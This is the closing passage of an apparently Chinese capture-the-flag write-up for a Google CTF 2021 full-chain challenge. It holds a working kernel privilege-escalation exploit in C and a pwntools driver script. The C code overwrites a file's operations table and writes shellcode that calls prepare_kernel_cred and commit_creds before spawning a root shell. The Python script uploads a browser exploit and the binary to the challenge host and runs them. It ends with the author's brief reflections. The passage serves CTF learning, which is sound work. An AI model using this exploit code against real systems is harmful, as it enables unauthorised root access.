    for (uint64_t i = 0; i < ctf[0].size / sizeof(uint64_t); i++) {
        if (target == buffer[i] && (((uint64_t)ctf[0].mem+i*sizeof(uint64_t)) & 0xff) == 0xc8) { // offset of file.private_data = 0xc8
            printf("found at %p\n", (uint64_t)ctf[0].mem+i*sizeof(uint64_t));
            file_addr = (uint64_t)ctf[0].mem+i*sizeof(uint64_t) - 0xc8;
            break;
        }
    }

    if (file_addr == -1) {
        return -5;
    }

    printf("leak infomation\n");
    if (arb_read(file_addr, buffer, 0x100) < 0) {
        return -6;
    }

    uint64_t vfsmount_ = buffer[2];  // (struct file).f_path.mnt
    uint64_t fop = buffer[5]; // (struct file).f_op

    printf("vfsmount = %p\n", vfsmount_);
    printf("fop = %p\n", fop);

    if (arb_read(vfsmount_, buffer, 0x20) < 0) {
        return -7;
    }

    uint64_t init_user_ns = buffer[3]; // vfsmount_.mnt_userns
    uint64_t kernel_offset = init_user_ns - 0xffffffff8244c020;
    printf("init_user_ns = %p\n", init_user_ns);

    printf("save file's memory\n");
    uint64_t save_file[0x100];
    if (arb_read(file_addr, save_file, sizeof(save_file)) < 0) {
        return -8;
    }

    memcpy(buffer, save_file, sizeof(save_file));

    printf("change file's fop\n");
    uint64_t fake_fop = (uint64_t) ctf[1].mem;
    buffer[5] = fake_fop;
    if (arb_write(file_addr, buffer, sizeof(save_file)) < 0) {
        return -9;
    }

    printf("set file's fop\n");
    if (arb_read(fop, buffer, 0x100) < 0) {
        return -10;
    }

    uint64_t shellcode_addr = file_addr + 0x100;
    buffer[2] = kernel_offset + SET_MEMORY_X; // read
    buffer[3] = shellcode_addr; // write (shellcode addr)

    if (arb_write(fake_fop, buffer, 0x100) < 0) {
        return -11;
    }

    printf("set file_addr executable\n");
    read(fd[2], (char *)1, 1);


    printf("write shellcode\n");
    char shellcode[] = {
        '\x48', '\x31', '\xff',                 // xor rdi, rdi
        '\x48', '\xbe', 0, 0, 0, 0, 0, 0, 0, 0, // movabs rsi, 0
        '\xff', '\xd6',                         // call rsi
        '\x48', '\xbe', 0, 0, 0, 0, 0, 0, 0, 0, // movabs rsi, 0
        '\xff', '\xd6',                         // call rsi
        '\xc3',                                 // ret

    };

    uint64_t pre = kernel_offset + PREPARE_KERNEL_CRED;
    uint64_t com = kernel_offset + COMMIT_CREDS;
    memcpy(&shellcode[5], &pre, sizeof(uint64_t));
    memcpy(&shellcode[17], &com, sizeof(uint64_t));

    if (arb_write(shellcode_addr, shellcode, sizeof(shellcode)) < 0) {
        return -12;
    }

    printf("call shellcode\n");
    write(fd[2], (char *)1, 1);

    printf("restore fop\n");
    if (arb_write(file_addr, save_file, sizeof(save_file)) < 0) {
        return -13;
    }


    printf("pwn!\n");
    system("/bin/sh");


    return 0;
}

exp.py:

# python3

from kctfpow import solve_challenge
from pwn import *
from base64 import b64encode

def to_hex(s):
    ret = ''

    if isinstance(s, str):
        for ch in s:
            ch = ord(ch)
            ret += '\\x' + hex(ch)[2:].rjust(2, '0')
        
    elif isinstance(s, bytes):
        for ch in s:
            ret += '\\x' + hex(ch)[2:].rjust(2, '0')
    else:
        return ''

    return ret

def exec_cmd(cmd):
    sh.sendlineafter('$ ', cmd)

def upload(src, dst, block_size=500):
    p = log.progress("Upload")
    
    with open(src, 'rb') as fd:
        data = fd.read()
    
    for i in range(0, len(data), block_size):
        p.status("%d / %d" % (i, len(data)))
        exec_cmd("echo -e -n '%s' >> %s" % (to_hex(data[i:i+block_size]), dst))
    
    p.success()


sh = remote('fullchain.2021.ctfcompetition.com', 1337)
# sh = process(['python3', 'run_qemu.py']) #, stdin=PTY, stdout=PTY)

sh.recvuntil(') solve ')
solve = sh.recvline().decode().strip()

info('solve = {}'.format(solve))

solution = solve_challenge(solve)
sh.sendlineafter('Solution? ', solution)

sh.recvuntil('Correct\n', timeout=2)


context.log_level = 'debug'

with open('exp.html', 'rb') as fd:
    data = fd.read()

html = b64encode(data)

sh.sendlineafter(b'? ', str(len(html)))

# sh.interactive()
# exit()
sh.sendafter(b'Give me your exploit as base64!\n', html)
# sh.send(html)
success('upload exp.html successfully!')


exec_cmd('bash')
success('exploit chrome successfully!')

context.log_level = 'info'
upload('./exp', '/tmp/exp', 800)

context.log_level = 'debug'
exec_cmd('chmod +x /tmp/exp')

exec_cmd('/tmp/exp')

sh.recvuntil('# ')
success('get root!')

sh.interactive()

kctfpow: https://raw.githubusercontent.com/google/kctf/v1/docker-images/challenge/pow.py

get!

总结

这道题目还是挺有意思的,v8,sandbox-escape 以及 kernel pwn 各个点都比较入门,能学到东西

虽然简单,但就算当时去做,也未必做得出来,一方面网络及其不稳定,容易中途就崩了,另一方面可执行程序太大了,运行个 ROPgadget 或者 ropper 跑了几个小时了还没出来,不知道还能怎么找 gadget 了,再一方面还是可执行程序太大了,ida 打开卡死半天,搜索也卡半天,最后用 ghidra 来分析的

直到这篇文章发布,ropper 仍未运行完

参考